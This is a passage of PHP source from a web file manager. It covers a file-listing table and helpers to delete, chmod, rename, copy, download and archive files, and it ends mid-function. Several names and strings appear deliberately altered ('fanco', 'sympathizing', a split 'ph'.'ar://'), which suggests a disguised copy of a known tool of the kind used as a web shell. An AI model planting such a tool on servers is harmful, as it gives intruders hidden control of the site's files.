                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fanco($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) and empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">sympathizing <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="." target="_blank" class="float-right text-muted">sympathizing <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();


function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}


function verifyToken($token) 
{
    if (hash_equals($_SESSION['token'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}


function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}


function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}


function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}


function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}


function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}


function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 and $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}


function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}


function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}


function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}


function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}


function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fanco(fm_convert_win($file_path))
            );
    }
}


function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}


function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}


function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin and class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}


function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}


function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false and $directory != '' and file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}


function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' and function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' and class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}


function fanco($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}


function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[DN_CESSION_ID]['message'] = $msg;
    $_SESSION[DN_CESSION_ID]['status'] = $status;
}


function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}


function fm_convert_win($filename)
{
    if (FM_IS_WIN and function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}


function fm_object_to_array($obj)
{
    if (!is_object($obj) and !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}


function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}


function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}


function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}


function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}


function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
        'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
        'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
        'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
    );
}


function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}


function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}


function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}


 function scan($dir = '', $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}


function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }


    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }


    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
